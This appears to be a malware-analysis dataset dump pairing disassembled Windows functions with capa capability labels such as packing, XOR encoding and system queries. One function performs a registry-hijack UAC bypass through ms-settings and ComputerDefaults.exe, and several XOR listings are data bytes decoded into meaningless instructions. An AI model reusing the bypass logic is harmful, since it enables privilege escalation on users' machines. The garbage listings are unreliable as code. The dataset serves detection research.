joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d25f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4d261d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4d261d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130
Function at 0x710c63
Capabilities:
Encode data using xor

Disassembly:
push 0x7109ec
pop edi
add edx, edx
push ebx
mov ebx, dword [esp]
add esp, 4
call fcn.00710c9c
inc edx
xor dword [ecx], edi
sub ebx, 0xbdb6b2a0
inc ecx
push 0xb3924f36
pop ebx
cmp ecx, esi
jne fcn.00710c63
or edx, edx
sub edx, edx
sub ebx, 0xbb7ef04
ret
Function at 0x30001450
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [esp + 4]
cmp word [ecx], 0x5a4d
jne 0x3001de98
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x3001de98
xor ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
mov eax, ecx
ret
xor eax, eax
ret

Function at 0x3000163c
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
mov esi, ecx
xor ecx, ecx
mov eax, 0x30050f00
inc ecx
lock xadd dword [eax], ecx
inc ecx
cmp ecx, 1
jne 0x3000168d
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [ebp - 0x28]
mov dword [0x3004f9b0], eax
mov ax, word [ebp - 0x30]
mov word [0x3004f9b4], ax
mov eax, dword [ebp - 0x18]
mov dword [0x3004f9b8], eax
mov eax, dword [ebp - 0x40]
mov dword [0x3004f9bc], eax
mov eax, esi
pop esi
leave
ret

Function at 0x30003c5a
Capabilities:
Query environment variable

Disassembly:
push ecx
push ecx
mov eax, dword [0x3004f800]
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebx, ebx
xor esi, esi
cmp eax, ebx
push 2
pop ebp
jne 0x30003d04
call edi
mov esi, eax
cmp esi, ebx
je 0x3001d6a8
mov dword [0x3004f800], 1
cmp esi, ebx
je 0x3001d6c9
cmp word [esi], bx
mov eax, esi
je 0x30003cad
add eax, ebp
cmp word [eax], bx
jne 0x30003c9f
add eax, ebp
cmp word [eax], bx
jne 0x30003c9f
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
push ebx
push ebx
sub eax, esi
push ebx
sar eax, 1
inc eax
push eax
push esi
push ebx
push ebx
mov dword [esp + 0x34], eax
call edi
mov ebp, eax
cmp ebp, ebx
je 0x30003cf4
push ebp
call fcn.30003d0e
cmp eax, ebx
pop ecx
mov dword [esp + 0x10], eax
je 0x30003cf4
push ebx
push ebx
push ebp
push eax
push dword [esp + 0x24]
push esi
push ebx
push ebx
call edi
test eax, eax
je 0x3001d6dc
mov ebx, dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
cmp eax, 1
je 0x30003c90
jmp 0x3001d6ef
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x3001d6bf
mov eax, ebp
mov dword [0x3004f800], eax
jmp 0x30003d04
mov eax, dword [0x3004f800]
jmp 0x30003d04
call edi
mov esi, eax
cmp esi, ebx
jne 0x30003c98
xor eax, eax
jmp 0x30003cfd
push dword [esp + 0x10]
call fcn.30012ff9
pop ecx
mov dword [esp + 0x10], ebx
jmp 0x30003cf0
cmp eax, ebp
je 0x3001d6f7
cmp eax, ebx
jne 0x3001d6d5
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov esi, eax
cmp esi, ebx
je 0x3001d6d5
cmp byte [esi], bl
je 0x3001d711
inc eax
cmp byte [eax], bl
jne 0x3001d707
inc eax
cmp byte [eax], bl
jne 0x3001d707
sub eax, esi
inc eax
mov ebp, eax
push ebp
call fcn.30003d0e
mov edi, eax
cmp edi, ebx
pop ecx
jne 0x3001d72c
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
jmp 0x3001d6d5
push ebp
push esi
push edi
call fcn.30008ba2
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov eax, edi
jmp 0x30003cfd
Function at 0x30003e2c
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x30003e6a
mov edi, dword [esp + 0x14]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x3001de9b
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jae 0x3001de9b
pop edi
pop esi
pop ebx
ret
xor eax, eax
jmp 0x30003e66
add edx, 1
add eax, 0x28
cmp edx, esi
jae 0x30003e6a
jmp 0x30003e4e

Function at 0x300050fd
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [0x30053c20]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x3001f510
push 2
pop ecx
cmp dword [ebp - 0x88], ecx
jne 0x3001f523
push 4
pop eax
cmp dword [ebp - 0x94], eax
je 0x3001f518
cmp dword [ebp - 0x94], 5
jne 0x30005185
cmp dword [ebp - 0x90], 0
je 0x30005172
xor eax, eax
cmp dword [ebp - 0x90], 1
setne al
add eax, 5
mov dword [esi], eax
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.300123d7
leave
ret 4
mov dword [esi], 6
jmp 0x30005174
push 4
pop eax
jmp 0x30005176
mov dword [esi], 3
jmp 0x30005174
xor eax, eax
inc eax
cmp dword [ebp - 0x88], eax
jne 0x30005174
cmp dword [ebp - 0x90], 0
je 0x3001f55c
cmp dword [ebp - 0x90], 0xa
je 0x30005172
cmp dword [ebp - 0x90], 0x5a
jne 0x30005174
mov dword [esi], ecx
jmp 0x30005174
and dword [esi], 0
jmp 0x30005174

Function at 0x300054d5
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x218
call fcn.30012f0c
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
je 0x30016c32
leave
ret 4
mov ecx, dword [ebp + 8]
call fcn.30012f0c
push eax
push 0x30016c74
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.30023192
add esp, 0x10
push 0x43
pop ecx
mov esi, eax
push 0x30049d54
lea eax, [ebp - 0x10c]
lea edi, [ebp - 0x10c]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.30028332
popaw
imul ebp, dword [ebp + 0x64], 0x206f7420
jae 0x30016ce5
je 0x30016ca2
arpl word [ebp + 0x72], si
jb 0x30016cec
outsb dx, byte [esi]
je 0x30016caa
imul esi, dword fs:[edx + 0x65], 0x726f7463
jns 0x30016cb4
je 0x30016d05
cmp ah, byte [eax]
and eax, 0xd4680053
insb byte es:[edi], dx
add dword [eax], esi
adc al, 0x11
add byte [eax], dh
std
invalid
les ecx, [edx + ebp*2]
inc ebx
push edi
add byte fs:[eax + 0x24], ch
insd dword es:[edi], dx
inc ebx
Function at 0x5aea5c
Capabilities:
Encode data using xor

Disassembly:
lodsb al, byte [esi]
pop esi
dec ebp
or byte [ebp + 0x348a7765], bh
mov dl, 0xdf
mov ebp, 0x496c6094
test byte ds:[ebx - 0xeb867b2], ch
xor eax, 0x96cb804c
jb 0x5aea0c
push eax
xchg edi, eax
out 0xd0, eax
add bl, byte [eax + 0x70]
cmp al, 0x10
adc edi, dword [ecx - 0x15fc0515]
mov eax, 0xd7c5ffdc
mov es, word [eax - 0x688fc047]
in eax, dx
int3
loop 0x5aea0b
dec esi
inc ebp
daa
pop ss
mov dh, 0x61
aad 0xa1
mov ch, 0xac
inc ebx
adc dl, byte [ebp + edi*8 + 0x1bb41f96]
invalid

Function at 0x5f88dc
Capabilities:
Encode data using xor

Disassembly:
mov ebp, 0xac2c396
jb 0x5f88b8
adc bh, byte [edx]
xchg edi, eax
xor byte [eax + ebx*2], dl
ljmp 0xec5d
cli
adc cl, cl
adc cl, cl
inc edx
jp 0x5f8837
fsub qword [ebx - 0x19]
mov al, 0x3f
pop ss
aas
push ss
jmp dword [ecx + 0x5c1575e2]
or dword [edx + esi - 0x158a7d32], ebp
sbb dl, ah
enter 0x3df4, 0xffffffffffffff83
push edi
popal
mov ebp, 0xf1e11f88
inc edi
add esp, 0xa2ba57fb
je 0x5f88de
xor cl, dh
xor byte [ebp - 0x16], 0x18
loop 0x5f88ae
hlt
js 0x5f88ac
invalid

Function at 0x64353c
Capabilities:
Encode data using xor

Disassembly:
dec edx
push edi
aam 0x26
test dh, dl
add dword [ecx + 0x20], eax
or al, 8
leave
xchg esp, eax
in al, 0x41
insd dword es:[edi], dx
or dword [ebx + 0x1de4dde], esi
dec edi
inc ebx
sbb byte [ebp + 0x24], dh
invalid
sub bh, byte [edx]
push ds
jae 0x64354b
and dword [edx], 0xffffffd4
and dl, ah
out 0xa1, al
leave
sub bl, cl
mov ebx, dword [edx + 1]
adc dword [ebx + ebx*8], ebp
add dword [ecx], edx
sub al, 0xdb
jne 0x643577
pop eax
cmp al, 0x9b
js 0x643512
sub esp, ebx
jmp 0x643565
xchg edx, eax
pop edx
dec eax
jmp 0x643542
xor eax, 0x51a2e857
sbb cl, dl
sub dword [edi + 0x58d007f], esp
sub al, 0x48
in al, 0x37
fld dword [edi - 0x22]
lahf
neg dword [esi - 0x20]
dec edx
xor byte [eax + 0x4184ba21], dl
arpl word [eax], dx
dec ebp
sub ah, byte [ebx + 0x5960d78a]
in eax, 0xd0
and al, 0x53
in al, dx
inc ebp
invalid

Function at 0x7706dc
Capabilities:
Encode data using xor

Disassembly:
adc ecx, eax
mov edi, 0xc03dc50d
pop es
aas
pushfd
pop ecx
mov byte [0xded0ad5e], al
mov esi, dword [ecx + 0xd1a8fd6]
xchg byte [ebx], bh
jle 0x770765
jmp 0x97c06c66
push edx
push esi
lodsb al, byte [esi]
inc ebp
mov cl, 0x62
invalid
Function at 0x503b8c
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x503376
mov dword [0x50521c], 2
jmp 0x503bbc
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x50408c
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c8f
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503cbc
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c8f
mov eax, dword [0x505250]
jmp 0x503cc9
call 0x502c0d
ret

Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x4bb7e0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x4a5015
lea edi, [esi - 0xa4015]
push edi
or ebp, 0xffffffff
jmp 0x4bb802
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4bb809
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bb7f8
mov eax, 1
add ebx, ebx
jne 0x4bb81b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4bb82c
jne 0x4bb84b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bb84b
dec eax
add ebx, ebx
jne 0x4bb838
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4bb810
add ebx, ebx
jne 0x4bb847
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4bb89d
xor ecx, ecx
sub eax, 3
jb 0x4bb863
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4bb8d2
sar eax, 1
mov ebp, eax
jmp 0x4bb86e
add ebx, ebx
jne 0x4bb86e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bb83c
inc ecx
add ebx, ebx
jne 0x4bb87c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bb83c
add ebx, ebx
jne 0x4bb889
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4bb87e
jne 0x4bb89a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4bb87e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4bb8bc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4bb8ae
jmp 0x4bb7fe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4bb8bc
add edi, ecx
jmp 0x4bb7fe
pop esi
mov edi, esi
mov ecx, 0x2c2c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4bb8da
cmp byte [edi], 6
jne 0x4bb8da
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4bb8df
lea edi, [esi + 0xb9000]
mov eax, dword [edi]
or eax, eax
je 0x4bb957
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xbb570]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xbb5ac]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4bb90c
mov ecx, edi
jns 0x4bb93b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xbb5b4]
or eax, eax
je 0x4bb951
mov dword [ebx], eax
add ebx, 4
jmp 0x4bb929
call dword [esi + 0xbb5b0]
mov ebp, dword [esi + 0xbb5b8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4bb98b
sub esp, 0xffffff80
jmp 0x4022c4
Function at 0x10001100
Capabilities:
Create process on windows
Delete registry key
Persist via default file association registry key
Self delete
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 8]
mov esi, ecx
push eax
push str.SoftwareClasses.pwnShellOpencommand
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov ecx, esi
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001130
sub ecx, edx
push ecx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 1
push 0
push 0x100216f5
push dword [ebp - 8]
call esi
push 1
push 0x100216f5
push 1
push 0
push str.DelegateExecute
push dword [ebp - 8]
call esi
lea eax, [ebp - 0xc]
push eax
push str.SoftwareClassesms_settingsCurVer
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 4
push str..pwn
push 1
push 0
push 0x100216f5
push dword [ebp - 0xc]
call esi
push 5
push 0
push 0
push str.C:WindowsSystem32ComputerDefaults.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteTreeA]
push str.SoftwareClassesms_settings
push 0x80000001
call esi
push str.SoftwareClasses.pwn
push 0x80000001
call esi
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.10003b12
mov esp, ebp
pop ebp
ret

Function at 0x10001220
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001a78a
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 8]
push 0
mov dword [ebp - 0x18], esi
call fcn.10015e3b
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
test edi, edi
jne 0x100012c6
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], str.bad_locale_name
push eax
lea ecx, [ebp - 0x24]
call fcn.10003cf5
push 0x10025480
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::runtime_error.0
push eax
call fcn.100081a0
push edi
push esi
call fcn.10014c11
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10003b12
mov esp, ebp
pop ebp
ret 4
Function at 0x10001900
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1001a818
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
mov eax, dword [section..data]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
sub esp, 0x18
mov ecx, esp
push 0xffffffffffffffff
push 0
push dword [ebp + 0x10]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov byte [ecx], 0
call fcn.10002460
push dword [ebp + 0xc]
lea eax, [esp + 0x28]
push dword [ebp + 8]
push eax
call fcn.10001830
add esp, 0x24
mov dword [esp + 0x30], 0
cmp dword [eax + 0x14], 0x10
jb 0x10001971
mov eax, dword [eax]
mov dword [esp + 8], eax
mov ecx, esi
lea eax, [esp + 8]
push eax
call fcn.10003cf5
cmp dword [esp + 0x20], 0x10
mov dword [esi], vtable.std::runtime_error.0
jb 0x1000199a
push dword [esp + 0xc]
call fcn.10004613
add esp, 4
mov eax, dword [ebp + 8]
mov dword [esi + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x10], eax
mov eax, esi
mov dword [esi], vtable.std::_System_error.0
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10002160
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x118]
mov dword [ebp - 0x114], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x110]
mov dword [ebp - 0x110], 0
push eax
mov word [ebp - 0x10c], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x100021de
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x118]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [ebp - 0x118]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [ebp - 0x114], 0
je 0x10002205
call fcn.10001d90
test al, al
jne 0x100021f5
call fcn.100031f0
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003b12
mov esp, ebp
pop ebp
ret
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x108]
call fcn.10001100
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10003b12
mov esp, ebp
pop ebp
ret
Function at 0x100022d0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x10002302
jl 0x100022f5
test ecx, ecx
jne 0x10002302
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x100023c2
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.100034c0
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x1000236e
jg 0x1000232d
test esi, esi
je 0x1000236e
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x10002345
mov eax, dword [esp + 0x10]
jl 0x1000233f
cmp eax, esi
jae 0x10002345
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.10015c90
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x1000238f
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x100023ab
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x10002314
jl 0x100023ab
test ecx, ecx
jne 0x10002314
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x10002401
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x10002401
mov edi, dword [esp + 0xc]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push edi
call fcn.10015c90
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [esp + 0x18], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
cmp dword [ebx + 0x4c], 0
mov ecx, edi
je 0x10002470
mov esi, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [esi], eax
jne 0x10002427
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [esi], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
mov ecx, edi
cmp edi, 0xfff
jbe 0x10002459
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.1001e7f3
sub edi, eax
add esp, 0x10
add esi, eax
mov ecx, edi
cmp eax, 0xfff
jne 0x10002484
cmp edi, eax
ja 0x10002435
test ecx, ecx
je 0x10002470
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.1001e7f3
mov ecx, edi
add esp, 0x10
sub ecx, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, ecx
sbb edx, 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
